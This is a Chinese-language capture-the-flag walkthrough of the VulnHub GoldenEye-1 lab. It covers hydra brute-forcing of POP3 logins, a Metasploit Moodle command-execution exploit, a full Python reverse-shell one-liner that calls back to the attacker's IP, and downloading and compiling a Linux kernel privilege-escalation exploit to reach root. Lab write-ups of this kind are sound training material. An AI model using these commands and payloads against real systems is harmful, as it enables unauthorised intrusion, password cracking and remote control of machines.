STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
靶机地址:
https://www.vulnhub.com/entry/goldeneye-1,240/
靶机网卡设置成清楚所在的网段即可
参考wp:
https://portwhisperer.github.io/CTFWriteups/goldeneye.html
https://medium.com/egghunter/goldeneye-1-vulnhub-walkthrough-f31d80a5267b
信息收集
1、确定靶机IP
根据网卡确定靶机IP所在网段之后,使用nmap进行扫描。判断靶机IP为 192.168.6.128
nmap -sV -sT -A -p- 192.168.6.128 -T5 探测IP具体服务以及端口
存在pop3服务意味着可能有关邮件。
2、网站信息
访问80端口。出现提示需要在/sev-home/目录下登录,直接访问目录会提示没有凭据。
Ctrl+U 直接查看源代码发现存在名为terminal.js的js文件。进行访问。
获得信息 用户名:Boris、Natalya
密码:&# 73;&# 110;&# 118;&# 105;&# 110;&# 99;&# 105;&# 98;&# 108;&# 101;&# 72;&# 97;&# 99;&# 107;&# 51;&# 114;
将其HTML实体编码解码得到密码:InvincibleHack3r
根据提示Natalya说可以破解Boris的密码,所以访问/sev-home/目录使用Boris/InvincibleHack3r 账户密码进行登录。
发现登录错误,排查之后尝试将账户名全部改为 小写!即可正常登录。boris/InvincibleHack3r
访问/sev-home/目录,查看网页源代码中大量空白下存在注释提示两个网络主管账户
登录成功之后获得提示,邮件发送给了网络主管。pop3邮件服务在非默认端口上。
回想起在前面对靶机IP进行端口扫描的时候扫描存在55006、55007两个端口。
使用浏览器进行访问发现在其55007端口上开启了pop3服务。
使用nc或者telnet都可以进行连接,使用之前boris的用户凭据无法连接。
暴力破解&信息收集
新建用户名的文件
echo -e 'natalya\nboris\nNatalya\nBoris' >
user.txt
使用九头蛇(hydra)工具指定文件user.txt中的用户进行使用fasttrack.txt字典进行暴力破解
hydra -L user.txt -P
/usr/share/wordlists/fasttrack.txt 192.168.6.128 -s 55007 pop3
(-L 指定用户名字典,参数值为存储用户名文件的路径 -l 指定单个用户名
-P指定密码字典,参数值为存储密码文件的路径 -p 指定单个密码)
等待暴力破解结束。
得到四个用户及密码
[55007][pop3]
host: 192.168.6.128 login: natalya password: bird
[55007][pop3]
host: 192.168.6.128 login: boris password: secret1!
[55007][pop3]
host: 192.168.6.128 login: Natalya password: bird
[55007][pop3]
host: 192.168.6.128 login: Boris password: secret1!
(Natalya和natalya,Boris和boris 属于同一账户,邮件内容一样)
登录邮箱进行查看
natalya 账户
查看第一封邮件
查看第二封邮件
获得提示:新的账户和密码 xenia/RCP90rulez! 外网域名 severnaya-station. com/ gnocertdir 以及将/etc/hosts 文件下的 IP 指向域名 severnaya-station.com
查看boris邮件
第一封邮件
第二封邮件 邮件来源natalya
第三封邮件 提示有一份文件使用GoldenEye 作为访问代码作为附件发送。并且放在此服务器的根目录下隐藏文件。
但此处无法查看到附件内容。
根据natalya账户邮件提示设置本地hosts文件
访问http://severnaya-station.com/gnocertdir 访问发现是moodle 开源cms系统
whatweb查看指纹
熟悉平台,发现部分功能需要登录,根据natalya邮件提供的xenia/RCP90rulez!账户密码进行登录
登录之后查看平台内容,发现存在邮件 账户为doak
对doak账户进行暴力破解
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.6.128 -s 55007 pop3
得到账户密码 doak/goat
登录邮件进行查看
得到账号密码进行登录平台 dr_doak/4England!
登录发现在myhome目录下存在一个s3cret.txt 文件。
文件内提示一些重要的地方在 /dir007key/for-007.jpg
访问其目录图片信息并没有什么提示
wget http://severnaya-station.com/dir007key/for-007.jpg --将文件下载到本地
使用工具对图片底层内容进行读取
使用exiftool for-007.jpg 执行发现eFdpbnRlcjE5OTV4IQ== base64编码 解码为xWinter1995x!
前面文档提示说这是管理员用户密码,使用该密码成功登录到admin账户
getshell
第一种getshell方法——msf
获取管理员权限之后,内容较多。但未找到有用信息。在Google浏览器搜索是否有可利用exp
moodle 2.2.3 exp poc 存在漏洞编号 CVE-2013-3630
使用msf
msfconsole
search moodle
use 3 ---调用3 exploit/multi/http/moodle_cmd_exec调用攻击脚本(其他脚本可能存在某些问题)
set username admin
set password xWinter1995x!
set rhost severnaya-station.com
set targeturi /gnocertdir
set payload cmd/unix/reverse
set lhost 192.168.6.131
exploit
当我们执行后发现无法成功,是因为对方需要修改执行PSpellShell
https://www.exploit-db.com/exploits/29324
's_editor_tinymce_spellengine' => 'PSpellShell',
需要在其功能点下修改成PSpellShell并保存
Home / ► Site administration / ► Plugins / ► Text editors / ► TinyMCE HTML editor
重新运行 获取shell
获得的是一个不正常的交互shell
python -c 'import pty;pty.spawn("/bin/bash")' ---将shell进行tty
第二种getshell方法——python反弹shell
在system paths功能下可以执行命令
Home / ► Site administration / ► Server / ► System paths
底层安装了python环境可以编写python
本地监听6666端口 nv -lvp 6666
写入python反弹shell
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.6.131",6666));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
path to aspell 下提示使用拼写检查功能
在其功能下找到功能。
Home / ► My profile/ ► Blogs / ► Add a new entry
(底行最右边的按钮激活了 spellcehck 功能)。
获得shell,其是一个伪shell。使用python -c 'import pty;pty.spawn("/bin/bash")' 将shell tty
内核提权
uname -a 查看权限
Google 搜索 Linux ubuntu 3.13.0-32-generic exp
此提权脚本针对PSpellShell 执行,需要开启 之前 TinyMCE HTML editor下的插件。以及需要使用gcc编译。
gcc -h 查看是否具有gcc
which cc 查看安装了cc
根据脚本可知:
无法进行GCC编译,需要改下脚本为cc
第143行将gcc改为cc
然后在本目录下开启http服务:python -m SimpleHTTPServer 8081 或者使用 python3 -m http.server 8081
wget http://192.168.6.131:8081/37292.c ---wget靶机下载http服务下的文件
成功下载后执行cc编译:
cc -o exp 37292.c
chmod +x exp
./exp
whoami
根据前面邮件提示有一份文件在此服务器的根目录下隐藏文件
cat /root/.flag.txt ---读取root下的flag信息
568628e0d993b1973adc718237da6e93
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
长按识别二维码关注我们